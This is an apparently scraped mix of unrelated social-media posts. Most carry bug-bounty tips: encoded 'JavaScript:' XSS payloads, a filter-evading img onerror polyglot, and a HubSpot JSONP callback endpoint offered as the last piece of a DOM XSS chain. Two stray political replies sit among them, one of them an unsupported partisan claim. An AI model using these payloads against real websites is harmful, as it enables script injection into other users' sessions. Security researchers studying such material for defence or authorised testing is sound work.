@ni5arga@hetmehtaa@maninekkalapudi although you have been reporting to those but they don't have public policy to test bro so it's shady area testing without permission so @hetmehtaa is right
The "JavaScript:" XSS payload offers ample room for code obfuscation, as it can be encoded multiple times.
JavaScript:alert(1)
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JavaScript:%61lert(1)
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JavaScript:&#37&#54&#49lert(1)
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JavaScript:%26%2337%26%2354%26%2349lert(1)
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XSS shot for whitelists, might get executed in DOM if attribute is evaluated.
1'"<S><A HRef=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt; Title=tel:/*%26apos;;/*%26quot;;/*%26lt;s%26gt;%26lt;Img/Src/*/O%26%2378;Error=alert(1)//%26gt;>
@HelleLyngSvends@Erroristotle the bjp owned a huge army of trollers and content management groups who do all possible tweeks and tricks but keep fighting. Truth can't escape for long time
During recent testing on a HubSpot-powered target, I needed a JSONP primitive to complete a DOM XSS chain.
One interesting behavior: HubSpot CMS exposes a built-in endpoint in this format:
`/_hcms/forms/embed/v3/form/{portalId}/{formId}?callback=alert`
Example :
`REDACTED. com/_hcms/forms/embed/v3/form/22544793/f411e5de-1b8b-4b19-8e6d-fe003d08cc8b?callback=alert`
It's a JSONP endpoint that wraps the response in whatever function name you pass. Just load it as <script src=...> and your callback fires.
The callback param has char restrictions so not every payload goes through, but alert() or prompt() works fine for proof. If you're hunting on any HubSpot site and just need that last JSONP piece for the chain, this is it.
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